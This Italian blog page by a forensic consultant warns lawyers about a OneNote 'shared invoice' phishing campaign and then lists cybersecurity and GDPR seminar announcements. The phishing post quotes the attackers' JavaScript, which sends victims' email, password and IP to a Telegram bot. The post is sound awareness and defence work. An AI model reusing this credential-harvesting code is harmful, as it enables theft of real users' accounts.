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Attenzione al phishing che attacca le mailbox degli Avvocati

Un articolo che non parla d’informatica forense, come di consueto, ma è da leggere con attenzione e far girare in particolare tra gli avvocati: è importante saper riconoscere il phishing che sta colpendo gli studi legali italiani (e non solo) che porta a potenziali databreach a catena, dato che chi subisce l’attacco poi diventa vettore – verso i suoi contatti – di nuovi attacchi.

In questi giorni arrivano infatti agli avvocati email da parte di colleghi (ma anche clienti o collaboratori) che citano un documento di “Pagamento fattura” non allegato ma condiviso tramite OneNote, come mostrato nelle immagini allegate al post.

Email di phishing che arriva agli avvocati con un documento condiviso da aprire su OneNote

La mail ha come oggetto una frase tipo: “Studio Legale Associato XYZ ha condiviso la file Elementi condivisi il giorno 06-11-2025′ con te”.

Phishing ad avvocati e studi legali tramite falsa fattura condivisa su OneNote

Cliccando sul link si apre una pagina che indica che il documento contenente la fattura è crittografato ed è necessario loggarsi su Microsoft OneNote per accedervi:

"Avv. ABC - STUDIO LEGALE ASSOCIATO XYZ ho condiviso un nuovo documento con te
Pagamenti delle fattura.pdf(601 KB)
VISUALIZZARE IL DOCUMENTO CONDIVISO

Il documento è crittografato con password Microsoft, accedi con l'indirizzo e-mail in cui è stato ricevuto il documento.
Questo documento è stato analizzato alla ricerca di virus dal software Norton™ AntiVirus Security Standard 2025
© Condivisione di file Microsoft 2025"

Cliccando sul link “Visualizzare il documento condiviso” si giunge a una pagina con diversi login.

Phishing ad avvocati tramite condivisione fattura OneNote di Microsoft e furto credenziali username e password

E’ possibile inserire il proprio login con username e password per ogni tipo di account di posta elettronica che si possiede, partendo dai principali come Office365, Outlook, Rackspace, Aruba, PEC o anche altri account:

Accedi alla tua e-mail per visualizzare il documento condiviso.
Accedi qui sotto.
Accedi con Office365
Accedi con Outlook
Accedi con Rackspace
Accedi con Aruba Mail
Accedi con PEC
Accedi con Altra Posta

Inserendo le proprie credenziali ai vari link, queste vengono inviate agli attaccanti tramite una chiamata API a un bot Telegram:

forma.addEventListener("submit", e =>{ e.preventDefault(); let email = document.querySelector('#e-mail').value let pwd = document.querySelector('#pwd').value let ips = document.querySelector('#ipaddress').value fetch(`https://api.telegram.org/bot${bot.TOKEN}/sendMessage?chat_id=${bot.chatID}&text=Email:${email}=Password:=${pwd}=IP:=${ips}`, { method: "GET" }).then(success => { window.location.replace("https://www.onenote.com/"); }, error => { alert("Message not sent") console.log(error) })

In sostanza, gli attaccanti, per scaricare il file chiedono d’inserire su un finto sito Microsoft username e password di posta (Office365, Outlook, Rackspace, Aruba S.p.A., PEC o anche qualunque altra) ma ovviamente una volta loggati invece di mostrare la fattura:

1) gli attaccanti entrano nell’account di posta dello Studio;

2) se hanno tempo e voglia scaricano i messaggi e gli allegati;

3) scaricano la rubrica e inviano a tutti i contatti la stessa mail ricevuta sperando che anche loro si facciano trarre in inganno..

Le email che arrivano sono originali e autentiche, inviate dal vero account del collega avvocato, non sono spoofing e tendono a passare i controlli antispam, quindi l’unica prevenzione è non inserire la password al link con il documento condiviso. Se cliccate su link e andate avanti senza inserire credenziali non succede nulla.

Se avete già inserito user/password, gli attaccanti stanno potenzialmente scaricandosi i vostri messaggi, la rubrica e inviando ai vostri contatti lo stesso messaggio: cambiate subito password, loggatevi sulla webmail per chiudere eventuali altre sessioni aperte, attivate 2FA se già non lo avete, valutate se informare i contatti di non aprire link da voi ricevuti, se volete capire cosa hanno fatto gli attaccanti nel vostro account scaricate/chiedete i file di log del provider.

Se avete ricevuto mail simili a quelle allegate al post quindi cancellatele anche se provengono da colleghi oppure se avete voglia inviatemi il file EML che ne sto collezionando diversi per analizzare come il phishing sta diffondendosi tra i professionisti e quali tecniche utilizzano gli attaccanti per rendere credibile il phishing.

Emergenza Sanitaria e Cybersecurity per AIGA

Giovedì 6 maggio dalle ore 16:00 alle 18:30 si terrà il seminario organizzato da AMGA – Associazione Monzese Giovani Avvocati, destinato a tutti gli Avvocati, con precedenza ai soci IGA, dal titolo “Emergenza Sanitaria e Cybersecurity – dal rapporto Clusit 2021 al GDPR”.

Convegno sulla Cybersecurity per AIGA Monza e Como

Durante il seminario, introdotto e moderato dall’Avv. Gaia Michela Sala, Consigliere AIGA Monza, interverranno l’Ing. Marco Raimondi (Product Marketing Fastweb), il Dott. Paolo Dal Checco (Consulente Informatico Forense), l’Avv. Raffaele Colombo (Vice Presidente AIGA Como) con argomenti legati alla Cybersecurity.

In particolare, il mio intervento sarà focalizzato sull’introduzione di alcune pratiche di autodifesa digitale per Avvocati e Studi Legali, basate su numerose esperienze di attacchi informatici e data breach occorse in ambito giudiziario. Spesso, infatti, durante le attività di cristallizzazione delle prove e analisi forense finalizzate alla realizzazione di una perizia informatica tramite tecniche di digital forensics emergono situazioni nelle quali una struttura anche minimale di personal security avrebbe potuto ridurre, mitigare o talvolta persino evitare problemi di accesso abusivo, perdita di dati o danneggiamento.

L’evento è stato accreditato con n. 2 crediti formativi in materia non obbligatoria dell’Associazione Italiana Giovani Avvocati (AIGA).

Forensic Readiness e Data Breach per il GDPR Day Masterclass

Venerdì 15 gennaio 2021 ha avuto luogo il primo webinar sulla Forensic Readiness come risorsa strategica per la gestione del Data Breach, durante il quale vi è stata ampia adesione e partecipazione attiva che ha permesso utili e costruttivi confronti sugli argomenti trattati.

Durante il workshop è stata illustrata la problematica della gestione dei data breach, concentrandosi in particolare sulla compilazione della segnalazione al Garante e agli interessati, mostrando come una corretta conoscenza delle metodologie e strumenti d’informatica forense può aiutare a rispondere compiutamente e velocemente alle domande contenute nel modello fornito dal Garante, che da un paio di settimane è stato integrato anche da un questionario utile per valutare se un evento ha rilievo per la data protection e quindi deve essere segnalato a Garante e interessati.

GDPR Day Masterclass - Data Breach e Forensic Readiness

Il segreto per arrivare preparati all’eventualità di un data breach è conoscere in anticipo quali saranno le incombenze che verranno chiamati a gestire coloro che si occuperanno dell’analisi forense delle evidenze digitali. Analizzando l’esperienza di numerosi casi vissuti e perizie informatiche redatte in ambito d’incidenti informatici, quindi, è possibile inquadrare cosa è bene fare e cosa non fare per farsi trovare pronti e ben strutturati in caso di data breach, consolidando in sostanza una buona pratica di forensic readiness.

Il webinar ha incluso anche una breve esercitazione pratica durante la quale si è simulata la compilazione del modulo di segnalazione data breach al Garante nella quale, per ogni voce tecnica, ci si è concentrati sulle fonti da cui andrebbero attinti i dati richiesti e su come prepararsi ad averle a disposizione nel caso in cui, in futuro, dovessero servire.

Ciò che ci auspichiamo, insieme all’organizzazione del GDPR Day Masterclass 2021, è che i partecipanti possano aver beneficiato dei contenuti facendoli diventare un bagaglio che si dimostrerà utile se non essenziale durante la gestione d’incidenti informatici e data breach.

Vista la quantità di richieste d’iscrizione al GDPR Masterclass, ma la limitatezza dei posti per ogni sessione dovuti al fatto che si cerca di agevolare il confronto diretto tra partecipanti e relatore, a breve verranno pubblicate ulteriori date, così da permettere a chi è rimasto fuori da questo primo incontro di partecipare ai prossimi.

Digital Forensics e Investigazioni Digitali per Persone & Privacy

Oggi ho tenuto un intervento su Digital Forensics e Investigazioni Digitali per l’Associazione Persone & Privacy, nella quale sono fiero di essere entrato da poco a far parte come membro del Comitato Scientifico.

Associazione Persone e Privacy

Il webinar su digital forensics e investigazioni digitali ha coperto vari argomenti, quali la figura del consulente informatico forense, la forensic readiness, il data breach e rischi di attacchi informatici come man in the mail, ransomware, phishing e dipendente infedele, il GDPR.

Webinar su Informatica Forense e Digital Forensics

Durante il webinar organizzato dalla Associazione Persone & Privacy sono stati presentati diversi esempi di casi pratici dove è stata richiesta attività di perizia informatica a seguito di data breach o dipendenti infedeli, danneggiamento di materiale informatico o accesso abusivo, reati informatici e tradizionali dove la componente digitale è strategica per la risoluzione del caso giudiziario.

Forensic Readiness e Data Breach a Torino per ELSA e CSIG

Oggi ho avuto il privilegio di partecipare come relatore alla conferenza sulla “Protezione dei dati personali; profili applicativi, scenari e best practice per professionisti, imprese e Pubbliche Amministrazioni”, organizzata da ELSA Torino e CSIG Ivrea Torino, con un programma di tutto rilievo dedicato al Sistema di gestione GDPR, Analisi del Rischio e Sanità Digitale.

Forensic Readiness e Gestione dei Data Breach a Torino per ELSA e CSIG

Durante il mio intervento – dal titolo “Pillole di forensic readiness: come prepararsi a un data breach”.Cybersecurity” – ho raccontato alcune esperienze di gestione di data breach fornendo alcuni consigli su come prepararsi in modo produttivo a una eventuale attività d’informatica forense finalizzata a rispondere alle domande poster dal Garante della Privacy nel modulo di segnalazione data breach.

Durante la presentazione, ho illustrato alcuni elementi d’informatica forense che possono essere utili per la compilazione della notifica di segnalazione data breach la Garante della Privacy, proponendo una simulazione di compilazione che può essere utile per le aziende, DPO ed esperti di sicurezza informatica per autovalutare la capacità della propria struttura di supportare una indagine forense interna o esterna finalizzata a identificare cause, modalità, conseguenze, ambito e tempistiche di un data breach con violazione di dati personali.

Il programma della giornata di Studio organizzata da ELSA Torino e CSIG Ivrea si può scaricare in formato PDF, lo riportiamo qui di seguito per comodità, sottolineando che si distribuisce nelle tre giornate del 1 ottobre, 9 ottobre e 15 ottobre 2020.

1 ottobre 2020 : Sistema di gestione GDPR

ore 16-Saluti del Prof. Raffaele Caterina, direttore del Dipartimento di Scienze Giuridiche

 Presentazione ELSA Torino e CSIG Ivrea Torino e

Saluti  della Presidente dell’Ordine degli Avvocati  di Torino, Avv. Simona Grabbi

ore 16:30 : Un primo bilancio  dei primi anni di applicazione del regolamento alla luce della valutazione della commissione Europea , Prof. Massimo Durante, Università di Torino

ore 16:50:    Ruoli privacy all’interno delle imprese, Avv. Laura Marengo – Unione Industriale-

ore 17:10 : GDPR nelle amministrazioni pubbliche: Trasparenza e Foia– Prof. Sergio Foà, Università di Torino

ore 17:30 –  Il trasferimento dei dati all’estero: Prof. Marco Orofino, Università Statale di Milano

ore 17:50  – Le  ispezioni del Garante– dott.ssa Paola  Zambon

ore 18:10 –   Applicazione del GDPR nei social media: Avv. Francesca Bassa, StudioBASSA

9 ottobre  2020  GDPR- analisi del rischio

ore 16  – saluti prof.. Guido Boella, Direttore del Dipartimento di Informatica

Presentazione associazioni  ELSA Torino e CSIG Ivrea Torino

ore 16:15 – Analisi del rischio — Ing. Ezio Veiluva (Csi)

ore 16: 35  Pseudonimizzazione attraverso l’encryption, database auditing e controllo degli accessi prof. Ruggero Pensa

ore 17: 00 DPIA: Dott. Stefano Tresoldi, socio Csig

ore 17:20 – Il data breach: Dott.ssa Pinuccia Carena (Asl  Cuneo)

ore 17:40  Pillole di forensic readiness: come prepararsi a un data breach”.Cybersecurity: Dott.  Paolo Dal Checco 

ore 18:conclusioni

15  ottobre  2020  Sanità digitale e GDPR

ore 16—Saluti  ELSA Torino e CSIG Ivrea Torino

ore: 16:  –  Data protection e futuro dell’Europa prof. Francesco Pizzetti

ore 16: 30 – Le nuove sfide del Garante: IA   e GDPR, Garante privacy Prof. Guido Scorza

ore 16:45 – GDPR e ricerca:, Prof. Pierluigi Perri, Università Statale di Milano

ore 17:05 –  Il fascicolo e dossier sanitario: Alesssandra Migliore; DPO Città della salute

ore 17:25 –  Il ruolo del DPO nella sanità, avv.Ivan Tosco- Csig

ore 17:45: L’esercizio dei diritti sui dati in ambito sanitario avv. Gennaro Maria Amoruso

ore 18:05   La telemedicina: i nuovi scenari nazionali e i profili di compliance GDPR , avv. Mauro Alovisio , Csig  

ore  18: 25: Telemedicina: best pratctice  Dott.ssa Dominga Salerno ASL 3

ore 19 – Conclusioni